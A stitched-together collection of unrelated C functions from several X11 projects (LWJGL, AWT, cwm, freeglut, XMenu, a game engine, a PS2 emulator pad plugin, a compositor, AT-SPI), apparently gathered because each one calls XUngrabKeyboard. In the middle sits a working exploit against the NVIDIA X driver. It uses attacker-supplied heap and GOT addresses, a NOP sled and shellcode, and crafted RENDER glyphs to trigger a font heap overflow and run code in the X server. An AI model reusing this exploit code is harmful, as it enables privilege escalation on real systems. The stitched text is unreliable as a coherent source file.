JNIEXPORT jint JNICALL Java_org_lwjgl_opengl_LinuxDisplay_nUngrabKeyboard(JNIEnv *env, jclass unused, jlong display_ptr) { Display *disp = (Display *)(intptr_t)display_ptr; return XUngrabKeyboard(disp, CurrentTime); }
JNIEXPORT void JNICALL Java_sun_awt_X11_XlibWrapper_XUngrabKeyboard (JNIEnv *env, jclass clazz, jlong display, jlong time) { AWT_CHECK_HAVE_LOCK(); XUngrabKeyboard( (Display *)display, (Time) time); }
struct menu * menu_filter(struct screen_ctx *sc, struct menu_q *menuq, char *prompt, char *initial, int flags, void (*match)(struct menu_q *, struct menu_q *, char *), void (*print)(struct menu *, int)) { struct menu_ctx mc; struct menu_q resultq; struct menu *mi = NULL; XEvent e; Window focuswin; int evmask, focusrevert; int xsave, ysave, xcur, ycur; TAILQ_INIT(&resultq); (void)memset(&mc, 0, sizeof(mc)); xu_ptr_getpos(sc->rootwin, &mc.x, &mc.y); xsave = mc.x; ysave = mc.y; mc.sc = sc; mc.flags = flags; if (prompt != NULL) { evmask = MENUMASK | KEYMASK; /* accept keys as well */ (void)strlcpy(mc.promptstr, prompt, sizeof(mc.promptstr)); mc.hasprompt = 1; } else { evmask = MENUMASK; mc.list = 1; } if (initial != NULL) (void)strlcpy(mc.searchstr, initial, sizeof(mc.searchstr)); else mc.searchstr[0] = '\0'; mc.match = match; mc.print = print; mc.entry = mc.prev = -1; XSelectInput(X_Dpy, sc->menuwin, evmask); XMapRaised(X_Dpy, sc->menuwin); if (xu_ptr_grab(sc->menuwin, MENUGRABMASK, Conf.cursor[CF_QUESTION]) < 0) { XUnmapWindow(X_Dpy, sc->menuwin); return (NULL); } XGetInputFocus(X_Dpy, &focuswin, &focusrevert); XSetInputFocus(X_Dpy, sc->menuwin, RevertToPointerRoot, CurrentTime); /* make sure keybindings don't remove keys from the menu stream */ XGrabKeyboard(X_Dpy, sc->menuwin, True, GrabModeAsync, GrabModeAsync, CurrentTime); for (;;) { mc.changed = 0; XWindowEvent(X_Dpy, sc->menuwin, evmask, &e); switch (e.type) { case KeyPress: if ((mi = menu_handle_key(&e, &mc, menuq, &resultq)) != NULL) goto out; /* FALLTHROUGH */ case Expose: menu_draw(&mc, menuq, &resultq); break; case MotionNotify: menu_handle_move(&e, &mc, &resultq); break; case ButtonRelease: if ((mi = menu_handle_release(&e, &mc, &resultq)) != NULL) goto out; break; default: break; } } out: if ((mc.flags & CWM_MENU_DUMMY) == 0 && mi->dummy) { /* no mouse based match */ free(mi); mi = NULL; } XSetInputFocus(X_Dpy, focuswin, focusrevert, CurrentTime); /* restore if user didn't move */ xu_ptr_getpos(sc->rootwin, &xcur, &ycur); if (xcur == mc.x && ycur == mc.y) xu_ptr_setpos(sc->rootwin, xsave, ysave); xu_ptr_ungrab(); XMoveResizeWindow(X_Dpy, sc->menuwin, 0, 0, 1, 1); XUnmapWindow(X_Dpy, sc->menuwin); XUngrabKeyboard(X_Dpy, CurrentTime); return (mi); }
void fgPlatformLeaveGameMode( void ) { XUngrabPointer( fgDisplay.pDisplay.Display, CurrentTime ); XUngrabKeyboard( fgDisplay.pDisplay.Display, CurrentTime ); }
int main(int argc, char *argv[]) { Display *display; Widget toplevel; XtAppContext app_con; XEvent event; char c, *string; unsigned int i; XDataStr *data; XExposeEvent *expose = (XExposeEvent *)&event; unsigned int heapaddr, gotaddr; if (argc > 2) { heapaddr = strtoul(argv[1],NULL,0); gotaddr = strtoul(argv[2],NULL,0); } else { printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]); return 0; } toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0, &argc, argv, NULL, NULL, 0); display = XtDisplay(toplevel); data = (XDataStr *)malloc(sizeof(XDataStr)); if (data == NULL) { perror("malloc"); exit(EXIT_FAILURE); } data->display = display; data->app = app_con; if (createWin(data) < 0) { fprintf(stderr, "can't create Data Window"); exit(EXIT_FAILURE); } show(data); signal(SIGINT, sigHandler); signal(SIGHUP, sigHandler); signal(SIGQUIT, sigHandler); signal(SIGTERM, sigHandler); /************************************************************************ * BEGIN FONT HEAP OVERFLOW SETUP CODE * * "It's so hard to write a graphics driver that open-sourcing it would * not help." * - Andrew Fear, Software Product Manager (NVIDIA Corporation). **********************************************************************/ XGlyphInfo * glyphs; XRenderPictFormat fmt; XRenderPictFormat *mask = 0; GlyphSet gset; char * buf =0; int offset, cr, numB; int xscreenpos = 32680; int magic_len = 32768 - xscreenpos; int wr_addr_len = 3548; int wr_nop_len = 200; /* Calculate the offset to the Global Offset Table. * 0x2C0000 is the size of the buffer the NVIDIA driver * allocates for us when it is about to draw. */ offset = gotaddr-(heapaddr-0x2C0000); offset += magic_len; glyphs = malloc(sizeof(XGlyphInfo)*3); /* Payload glyph */ glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */ glyphs[0].height = 1; glyphs[0].yOff = 0; glyphs[0].xOff = glyphs[0].width; glyphs[0].x = 0; glyphs[0].y = 0; /* Large offset glyph (untweaked) */ glyphs[1].width=0; glyphs[1].height=0; glyphs[1].yOff=32767; glyphs[1].xOff=0; glyphs[1].x = 0; glyphs[1].y = 0; /* Small offset glyph (tweaked) */ glyphs[2].width=0; glyphs[2].height=0; glyphs[2].yOff=0; glyphs[2].xOff=0; glyphs[2].x = 0; glyphs[2].y = 0; fmt.type = PictTypeDirect; fmt.depth = 8; Glyph * xglyphids = malloc(3*sizeof(Glyph)); xglyphids[0] = 'A'; xglyphids[1] = 'B'; xglyphids[2] = 'C'; int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */ int bufsize = stride*glyphs[0].height; buf = malloc(bufsize); /* Write jump address to the buffer a number of times */ for (cr=0; cr<wr_addr_len; cr+=4) { *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4; } /* Write the NOP instructions until wr_nop_len */ memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len); /* Write the shellcode */ cr+=wr_nop_len; memcpy(buf+cr, shellcode, sizeof(shellcode)); /* Calculate the number of B's required to send */ numB = offset / (glyphs[1].yOff * magic_len); /* We send only one C, but we change its yOff value according to * how much space we have left before we meet the correct index length */ glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len); /* Now create a new buffer for the string data */ string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/); for (cr=0; cr<numB; cr++) string[cr] = 'B'; string[cr] = 'C'; cr++; string[cr] = 'A'; cr++; string[cr] = 0; mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0); gset = XRenderCreateGlyphSet(display, mask); if (mask) { /* Ask the server to tie the glyphs to the glyphset we created, * with our addr/nopslide/shellcode buffer as the alpha data. */ XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize); } /* END FONT HEAP OVERFLOW SETUP CODE */ done = 0; while (!done) { XNextEvent(display, &event); switch(event.type) { case KeyPress: i = XLookupString(&event.xkey, &c, 1, NULL, NULL); if ((i == 1) && ((c == 'q') || (c == 'Q'))) { done = 1; } break; case Expose: XftDrawRect(data->draw, &data->bg, expose->x, expose->y, expose->width, expose->height); /* Send malignant glyphs and execute shellcode on target */ XRenderCompositeString8(display, PictOpOver, XftDrawSrcPicture(data->draw, &data->color), XftDrawPicture(data->draw), mask, gset, 0, 0, xscreenpos, 0, string, strlen(string)); break; } } free(glyphs); free(xglyphids); free(buf); free(string); XFlush(display); XUnmapWindow(data->display, data->win); XUngrabKeyboard(data->display, CurrentTime); XCloseDisplay(display); exit(EXIT_SUCCESS); }
int XMenuActivate( register Display *display, /* Display to put menu on. */ register XMenu *menu, /* Menu to activate. */ int *p_num, /* Pane number selected. */ int *s_num, /* Selection number selected. */ int x_pos, /* X coordinate of menu position. */ int y_pos, /* Y coordinate of menu position. */ unsigned int event_mask, /* Mouse button event mask. */ char **data, /* Pointer to return data value. */ void (*help_callback) (char const *, int, int)) /* Help callback. */ { int status; /* X routine call status. */ int orig_x; /* Upper left menu origin X coord. */ int orig_y; /* Upper left menu origin Y coord. */ int ret_val; /* Return value. */ register XMPane *p_ptr; /* Current XMPane. */ register XMPane *event_xmp; /* Event XMPane pointer. */ register XMPane *cur_p; /* Current pane. */ register XMSelect *cur_s; /* Current selection. */ XMWindow *event_xmw; /* Event XMWindow pointer. */ XEvent event; /* X input event. */ XEvent peek_event; /* X input peek ahead event. */ Bool selection = False; /* Selection has been made. */ Bool forward = True; /* Moving forward in the pane list. */ Window root, child; int root_x, root_y, win_x, win_y; unsigned int mask; KeySym keysym; /* * Define and allocate a foreign event queue to hold events * that don't belong to XMenu. These events are later restored * to the X event queue. */ typedef struct _xmeventque { XEvent event; struct _xmeventque *next; } XMEventQue; XMEventQue *feq = NULL; /* Foreign event queue. */ XMEventQue *feq_tmp; /* Foreign event queue temporary. */ /* * If there are no panes in the menu then return failure * because the menu is not initialized. */ if (menu->p_count == 0) { _XMErrorCode = XME_NOT_INIT; return(XM_FAILURE); } /* * Find the desired current pane. */ cur_p = _XMGetPanePtr(menu, *p_num); if (cur_p == NULL) { return(XM_FAILURE); } cur_p->activated = cur_p->active; /* * Find the desired current selection. * If the current selection index is out of range a null current selection * will be assumed and the cursor will be placed in the current pane * header. */ cur_s = _XMGetSelectionPtr(cur_p, *s_num); /* * Compute origin of menu so that cursor is in * Correct pane and selection. */ _XMTransToOrigin(display, menu, cur_p, cur_s, x_pos, y_pos, &orig_x, &orig_y); menu->x_pos = orig_x; /* Store X and Y coords of menu. */ menu->y_pos = orig_y; if (XMenuRecompute(display, menu) == XM_FAILURE) { return(XM_FAILURE); } /* * Flush the window creation queue. * This batches all window creates since lazy evaluation * is more efficient than individual evaluation. * This routine also does an XFlush(). */ if (_XMWinQueFlush(display, menu, cur_p, cur_s) == _FAILURE) { return(XM_FAILURE); } /* * Make sure windows are in correct order (in case we were passed * an already created menu in incorrect order.) */ for(p_ptr = menu->p_list->next; p_ptr != cur_p; p_ptr = p_ptr->next) XRaiseWindow(display, p_ptr->window); for(p_ptr = menu->p_list->prev; p_ptr != cur_p->prev; p_ptr = p_ptr->prev) XRaiseWindow(display, p_ptr->window); /* * Make sure all selection windows are mapped. */ for ( p_ptr = menu->p_list->next; p_ptr != menu->p_list; p_ptr = p_ptr->next ){ XMapSubwindows(display, p_ptr->window); } /* * Synchronize the X buffers and the event queue. * From here on, all events in the queue that don't belong to * XMenu are sent back to the application via an application * provided event handler or discarded if the application has * not provided an event handler. */ XSync(display, 0); /* * Grab the mouse for menu input. */ status = XGrabPointer( display, menu->parent, True, event_mask, GrabModeAsync, GrabModeAsync, None, menu->mouse_cursor, CurrentTime ); if (status == Success && x_menu_grab_keyboard) { status = XGrabKeyboard (display, menu->parent, False, GrabModeAsync, GrabModeAsync, CurrentTime); if (status != Success) XUngrabPointer(display, CurrentTime); } if (status == _X_FAILURE) { _XMErrorCode = XME_GRAB_MOUSE; return(XM_FAILURE); } /* * Map the menu panes. */ XMapWindow(display, cur_p->window); for (p_ptr = menu->p_list->next; p_ptr != cur_p; p_ptr = p_ptr->next) XMapWindow(display, p_ptr->window); for (p_ptr = cur_p->next; p_ptr != menu->p_list; p_ptr = p_ptr->next) XMapWindow(display, p_ptr->window); XRaiseWindow(display, cur_p->window); /* Make sure current */ /* pane is on top. */ cur_s = NULL; /* Clear current selection. */ /* * Begin event processing loop. */ while (1) { if (wait_func) (*wait_func) (wait_data); XNextEvent(display, &event); /* Get next event. */ switch (event.type) { /* Dispatch on the event type. */ case Expose: event_xmp = (XMPane *)XLookUpAssoc(display, menu->assoc_tab, event.xexpose.window); if (event_xmp == NULL) { /* * If AEQ mode is enabled then queue the event. */ if (menu->aeq) { feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue)); if (feq_tmp == NULL) { _XMErrorCode = XME_CALLOC; return(XM_FAILURE); } feq_tmp->event = event; feq_tmp->next = feq; feq = feq_tmp; } else if (_XMEventHandler) (*_XMEventHandler)(&event); break; } if (event_xmp->activated) { XSetWindowBackground(display, event_xmp->window, menu->bkgnd_color); } else { XSetWindowBackgroundPixmap(display, event_xmp->window, menu->inact_pixmap); } _XMRefreshPane(display, menu, event_xmp); break; case EnterNotify: /* * First wait a small period of time, and see * if another EnterNotify event follows hard on the * heels of this one. i.e., the user is simply * "passing through". If so, ignore this one. */ event_xmw = (XMWindow *)XLookUpAssoc(display, menu->assoc_tab, event.xcrossing.window); if (event_xmw == NULL) break; if (event_xmw->type == SELECTION) { /* * We have entered a selection. */ /* if (XPending(display) == 0) usleep(150000); */ if (XPending(display) != 0) { XPeekEvent(display, &peek_event); if(peek_event.type == LeaveNotify) { break; } } cur_s = (XMSelect *)event_xmw; help_callback (cur_s->help_string, cur_p->serial, cur_s->serial); /* * If the pane we are in is active and the * selection entered is active then activate * the selection. */ if (cur_p->active && cur_s->active > 0) { cur_s->activated = 1; _XMRefreshSelection(display, menu, cur_s); } } else { /* * We have entered a pane. */ /* if (XPending(display) == 0) usleep(150000); */ if (XPending(display) != 0) { XPeekEvent(display, &peek_event); if (peek_event.type == EnterNotify) break; } XQueryPointer(display, menu->parent, &root, &child, &root_x, &root_y, &win_x, &win_y, &mask); event_xmp = (XMPane *)XLookUpAssoc(display, menu->assoc_tab, child); if (event_xmp == NULL) break; if (event_xmp == cur_p) break; if (event_xmp->serial > cur_p->serial) forward = True; else forward = False; p_ptr = cur_p; while (p_ptr != event_xmp) { if (forward) p_ptr = p_ptr->next; else p_ptr = p_ptr->prev; XRaiseWindow(display, p_ptr->window); } if (cur_p->activated) { cur_p->activated = False; XSetWindowBackgroundPixmap(display, cur_p->window, menu->inact_pixmap); _XMRefreshPane(display, menu, cur_p); } if (event_xmp->active) event_xmp->activated = True; #if 1 /* * i suspect the we don't get an EXPOSE event when backing * store is enabled; the menu windows content is probably * not drawn in when it should be in that case. * in that case, this is probably an ugly fix! * i hope someone more familiar with this code would * take it from here. -- [email protected]. */ XSetWindowBackground(display, event_xmp->window, menu->bkgnd_color); _XMRefreshPane(display, menu, event_xmp); #endif cur_p = event_xmp; } break; case LeaveNotify: event_xmw = (XMWindow *)XLookUpAssoc( display, menu->assoc_tab, event.xcrossing.window ); if (event_xmw == NULL) break; if(cur_s == NULL) break; /* * If the current selection was activated then * deactivate it. */ if (cur_s->activated) { cur_s->activated = False; _XMRefreshSelection(display, menu, cur_s); } cur_s = NULL; break; case ButtonPress: case ButtonRelease: *p_num = cur_p->serial; /* * Check to see if there is a current selection. */ if (cur_s != NULL) { /* * Set the selection number to the current selection. */ *s_num = cur_s->serial; /* * If the current selection was activated then * we have a valid selection otherwise we have * an inactive selection. */ if (cur_s->activated) { *data = cur_s->data; ret_val = XM_SUCCESS; } else { ret_val = XM_IA_SELECT; } } else { /* * No selection was current. */ ret_val = XM_NO_SELECT; } selection = True; break; case KeyPress: case KeyRelease: keysym = XLookupKeysym (&event.xkey, 0); /* Pop down on C-g and Escape. */ if ((keysym == XK_g && (event.xkey.state & ControlMask) != 0) || keysym == XK_Escape) /* Any escape, ignore modifiers. */ { ret_val = XM_NO_SELECT; selection = True; } break; default: /* * If AEQ mode is enabled then queue the event. */ if (menu->aeq) { feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue)); if (feq_tmp == NULL) { _XMErrorCode = XME_CALLOC; return(XM_FAILURE); } feq_tmp->event = event; feq_tmp->next = feq; feq = feq_tmp; } else if (_XMEventHandler) (*_XMEventHandler)(&event); } /* * If a selection has been made, break out of the event loop. */ if (selection == True) break; } /* * Unmap the menu. */ for ( p_ptr = menu->p_list->next; p_ptr != menu->p_list; p_ptr = p_ptr->next) { XUnmapWindow(display, p_ptr->window); } /* * Ungrab the mouse. */ XUngrabPointer(display, CurrentTime); XUngrabKeyboard(display, CurrentTime); /* * Restore bits under where the menu was if we managed * to save them and free the pixmap. */ /* * If there is a current selection deactivate it. */ if (cur_s != NULL) cur_s->activated = 0; /* * Deactivate the current pane. */ cur_p->activated = 0; XSetWindowBackgroundPixmap(display, cur_p->window, menu->inact_pixmap); /* * Synchronize the X buffers and the X event queue. */ XSync(display, 0); /* * Dispatch any events remaining on the queue. */ while (QLength(display)) { /* * Fetch the next event. */ XNextEvent(display, &event); /* * Discard any events left on the queue that belong to XMenu. * All others are held and then returned to the event queue. */ switch (event.type) { case Expose: case EnterNotify: case LeaveNotify: case ButtonPress: case ButtonRelease: /* * Does this event belong to one of XMenu's windows? * If so, discard it and process the next event. * If not fall through and treat it as a foreign event. */ event_xmp = (XMPane *)XLookUpAssoc( display, menu->assoc_tab, event.xbutton.window ); if (event_xmp != NULL) continue; default: /* * This is a foreign event. * Queue it for later return to the X event queue. */ feq_tmp = (XMEventQue *)malloc(sizeof(XMEventQue)); if (feq_tmp == NULL) { _XMErrorCode = XME_CALLOC; return(XM_FAILURE); } feq_tmp->event = event; feq_tmp->next = feq; feq = feq_tmp; } } /* * Return any foreign events that were queued to the X event queue. */ while (feq != NULL) { feq_tmp = feq; XPutBackEvent(display, &feq_tmp->event); feq = feq_tmp->next; free((char *)feq_tmp); } wait_func = 0; /* * Return successfully. */ _XMErrorCode = XME_NO_ERROR; return(ret_val); }
static void install_grabs( void ) { int res; int fevent; assert( x11display.dpy && x11display.win ); if( !x11display.features.wmStateFullscreen ) { res = XGrabKeyboard( x11display.dpy, x11display.win, False, GrabModeAsync, GrabModeAsync, CurrentTime ); if( res != GrabSuccess ) { Com_Printf( "Warning: XGrabKeyboard failed\n" ); return; } } XDefineCursor( x11display.dpy, x11display.win, CreateNullCursor( x11display.dpy, x11display.win ) ); res = XGrabPointer( x11display.dpy, x11display.win, True, 0, GrabModeAsync, GrabModeAsync, x11display.win, None, CurrentTime ); if( res != GrabSuccess ) { // TODO: Find a solution to Pointer Grabs at focus changes, which sometimes result // in Grabbing Errors. Like switches from Windowed/Fullscreen to Hidden State. //Com_Printf( "Warning: XGrabPointer failed\n" ); XUngrabKeyboard( x11display.dpy, CurrentTime ); XUndefineCursor( x11display.dpy, x11display.win ); return; } if( in_dgamouse->integer ) { int MajorVersion, MinorVersion; if( XF86DGAQueryVersion( x11display.dpy, &MajorVersion, &MinorVersion ) ) { XF86DGADirectVideo( x11display.dpy, x11display.scr, XF86DGADirectMouse ); XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0, x11display.win_width/2, x11display.win_height/2 ); dgamouse = qtrue; } else { // unable to query, probalby not supported Com_Printf( "Failed to detect XF86DGA Mouse\n" ); Cvar_Set( "in_dgamouse", "0" ); dgamouse = qfalse; } } else { XWarpPointer( x11display.dpy, None, x11display.win, 0, 0, 0, 0, x11display.win_width/2, x11display.win_height/2 ); } ignore_one = qtrue; // first mouse update after install_grabs is ignored mx = my = 0; mouse_active = qtrue; in_dgamouse->modified = qfalse; input_active = qtrue; // init X Input method, needed by Xutf8LookupString x11display.im = XOpenIM( x11display.dpy, NULL, NULL, NULL ); x11display.ic = XCreateIC( x11display.im, XNInputStyle, XIMPreeditNothing | XIMStatusNothing, XNClientWindow, x11display.win, NULL ); if ( x11display.ic ) { XGetICValues( x11display.ic, XNFilterEvents, &fevent, NULL ); XSelectInput( x11display.dpy, x11display.win, fevent | x11display.wa.event_mask ); } }
void AnalyzeKeyEvent(int pad, keyEvent &evt) { KeySym key = (KeySym)evt.key; int index = get_keyboard_key(pad, key); switch (evt.evt) { case KeyPress: // Shift F12 is not yet use by pcsx2. So keep it to grab/ungrab input // I found it very handy vs the automatic fullscreen detection // 1/ Does not need to detect full-screen // 2/ Can use a debugger in full-screen // 3/ Can grab input in window without the need of a pixelated full-screen if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = true; if (key == XK_F12 && s_Shift) { if(!s_grab_input) { s_grab_input = true; XGrabPointer(GSdsp, GSwin, True, ButtonPressMask, GrabModeAsync, GrabModeAsync, GSwin, None, CurrentTime); XGrabKeyboard(GSdsp, GSwin, True, GrabModeAsync, GrabModeAsync, CurrentTime); } else { s_grab_input = false; XUngrabPointer(GSdsp, CurrentTime); XUngrabKeyboard(GSdsp, CurrentTime); } } // Analog controls. if (IsAnalogKey(index)) { switch (index) { case PAD_R_LEFT: case PAD_R_UP: case PAD_L_LEFT: case PAD_L_UP: key_status->press(pad, index, -MAX_ANALOG_VALUE); break; case PAD_R_RIGHT: case PAD_R_DOWN: case PAD_L_RIGHT: case PAD_L_DOWN: key_status->press(pad, index, MAX_ANALOG_VALUE); break; } } else if (index != -1) key_status->press(pad, index); //PAD_LOG("Key pressed:%d\n", index); event.evt = KEYPRESS; event.key = key; break; case KeyRelease: if (key == XK_Shift_R || key == XK_Shift_L) s_Shift = false; if (index != -1) key_status->release(pad, index); event.evt = KEYRELEASE; event.key = key; break; case FocusIn: //XAutoRepeatOff(GSdsp); break; case FocusOut: //XAutoRepeatOn(GSdsp); s_Shift = false; break; case ButtonPress: if (index != -1) key_status->press(pad, index); break; case ButtonRelease: if (index != -1) key_status->release(pad, index); break; case MotionNotify: // FIXME: How to handle when the mouse does not move, no event generated!!! // 1/ small move == no move. Cons : can not do small movement // 2/ use a watchdog timer thread // 3/ ??? idea welcome ;) if (conf->pad_options[pad].mouse_l|conf->pad_options[pad].mouse_r) { unsigned int pad_x; unsigned int pad_y; // Note when both PADOPTION_MOUSE_R and PADOPTION_MOUSE_L are set, take only the right one if (conf->pad_options[pad].mouse_r) { pad_x = PAD_R_RIGHT; pad_y = PAD_R_UP; } else { pad_x = PAD_L_RIGHT; pad_y = PAD_L_UP; } unsigned x = evt.key & 0xFFFF; unsigned int value = (s_previous_mouse_x > x) ? s_previous_mouse_x - x : x - s_previous_mouse_x; value *= conf->get_sensibility(); if (x == 0) key_status->press(pad, pad_x, -MAX_ANALOG_VALUE); else if (x == 0xFFFF) key_status->press(pad, pad_x, MAX_ANALOG_VALUE); else if (x < (s_previous_mouse_x -2)) key_status->press(pad, pad_x, -value); else if (x > (s_previous_mouse_x +2)) key_status->press(pad, pad_x, value); else key_status->release(pad, pad_x); unsigned y = evt.key >> 16; value = (s_previous_mouse_y > y) ? s_previous_mouse_y - y : y - s_previous_mouse_y; value *= conf->get_sensibility(); if (y == 0) key_status->press(pad, pad_y, -MAX_ANALOG_VALUE); else if (y == 0xFFFF) key_status->press(pad, pad_y, MAX_ANALOG_VALUE); else if (y < (s_previous_mouse_y -2)) key_status->press(pad, pad_y, -value); else if (y > (s_previous_mouse_y +2)) key_status->press(pad, pad_y, value); else key_status->release(pad, pad_y); s_previous_mouse_x = x; s_previous_mouse_y = y; } break; }
LOCAL_SYMBOL gboolean meta_begin_modal_for_plugin (MetaScreen *screen, MetaPlugin *plugin, Window grab_window, Cursor cursor, MetaModalOptions options, guint32 timestamp) { /* To some extent this duplicates code in meta_display_begin_grab_op(), but there * are significant differences in how we handle grabs that make it difficult to * merge the two. */ MetaDisplay *display = meta_screen_get_display (screen); Display *xdpy = meta_display_get_xdisplay (display); MetaCompositor *compositor = display->compositor; gboolean pointer_grabbed = FALSE; gboolean keyboard_grabbed = FALSE; int result; if (compositor->modal_plugin != NULL || display->grab_op != META_GRAB_OP_NONE) return FALSE; if ((options & META_MODAL_POINTER_ALREADY_GRABBED) == 0) { result = XGrabPointer (xdpy, grab_window, False, /* owner_events */ (ButtonPressMask | ButtonReleaseMask | EnterWindowMask | LeaveWindowMask | PointerMotionMask), GrabModeAsync, GrabModeAsync, None, /* confine to */ cursor, timestamp); if (result != Success) goto fail; pointer_grabbed = TRUE; } if ((options & META_MODAL_KEYBOARD_ALREADY_GRABBED) == 0) { result = XGrabKeyboard (xdpy, grab_window, False, /* owner_events */ GrabModeAsync, GrabModeAsync, timestamp); if (result != Success) goto fail; keyboard_grabbed = TRUE; } display->grab_op = META_GRAB_OP_COMPOSITOR; display->grab_window = NULL; display->grab_screen = screen; display->grab_have_pointer = TRUE; display->grab_have_keyboard = TRUE; compositor->modal_plugin = plugin; return TRUE; fail: if (pointer_grabbed) XUngrabPointer (xdpy, timestamp); if (keyboard_grabbed) XUngrabKeyboard (xdpy, timestamp); return FALSE; }
static void global_filter_fn (XEvent *xevent, void *data) { SpiDEController *controller; DEControllerPrivateData *priv; Display *display = spi_get_display (); controller = SPI_DEVICE_EVENT_CONTROLLER (data); priv = controller->priv; if (xevent->type == MappingNotify) xmkeymap = NULL; if (xevent->type == KeyPress || xevent->type == KeyRelease) { if (priv->xevie_display == NULL) { gboolean is_consumed; is_consumed = spi_device_event_controller_forward_key_event (controller, xevent); if (is_consumed) { int n_events; int i; XEvent next_event; n_events = XPending (display); #ifdef SPI_KEYEVENT_DEBUG g_print ("Number of events pending: %d\n", n_events); #endif for (i = 0; i < n_events; i++) { XNextEvent (display, &next_event); if (next_event.type != KeyPress && next_event.type != KeyRelease) g_warning ("Unexpected event type %d in queue", next_event.type); } XAllowEvents (display, AsyncKeyboard, CurrentTime); if (n_events) XUngrabKeyboard (display, CurrentTime); } else { if (xevent->type == KeyPress) wait_for_release_event (xevent, controller); XAllowEvents (display, ReplayKeyboard, CurrentTime); } } return; } if (xevent->type == ButtonPress || xevent->type == ButtonRelease) { spi_device_event_controller_forward_mouse_event (controller, xevent); } if (xevent->type == priv->xkb_base_event_code) { XkbAnyEvent * xkb_ev = (XkbAnyEvent *) xevent; /* ugly but probably necessary...*/ XSynchronize (display, TRUE); if (xkb_ev->xkb_type == XkbStateNotify) { XkbStateNotifyEvent *xkb_snev = (XkbStateNotifyEvent *) xkb_ev; /* check the mouse, to catch mouse events grabbed by * another client; in case we should revert this XKB delatch */ if (!priv->pending_xkb_mod_relatch_mask) { int x, y; gboolean moved; spi_dec_x11_mouse_check (controller, &x, &y, &moved); } /* we check again, since the previous call may have changed this flag */ if (priv->pending_xkb_mod_relatch_mask) { unsigned int feedback_mask; #ifdef SPI_XKB_DEBUG fprintf (stderr, "relatching %x\n", priv->pending_xkb_mod_relatch_mask); #endif /* temporarily turn off the latch bell, if it's on */ XkbGetControls (display, XkbAccessXFeedbackMask, priv->xkb_desc); feedback_mask = priv->xkb_desc->ctrls->ax_options; if (feedback_mask & XkbAX_StickyKeysFBMask) { XkbControlsChangesRec changes = {XkbAccessXFeedbackMask, 0, False}; priv->xkb_desc->ctrls->ax_options &= ~(XkbAX_StickyKeysFBMask); XkbChangeControls (display, priv->xkb_desc, &changes); } /* TODO: account for lock as well as latch */ XkbLatchModifiers (display, XkbUseCoreKbd, priv->pending_xkb_mod_relatch_mask, priv->pending_xkb_mod_relatch_mask); if (feedback_mask & XkbAX_StickyKeysFBMask) { XkbControlsChangesRec changes = {XkbAccessXFeedbackMask, 0, False}; priv->xkb_desc->ctrls->ax_options = feedback_mask; XkbChangeControls (display, priv->xkb_desc, &changes); } #ifdef SPI_XKB_DEBUG fprintf (stderr, "relatched %x\n", priv->pending_xkb_mod_relatch_mask); #endif priv->pending_xkb_mod_relatch_mask = 0; } else { priv->xkb_latch_mask = xkb_snev->latched_mods; } } XSynchronize (display, FALSE); } return; }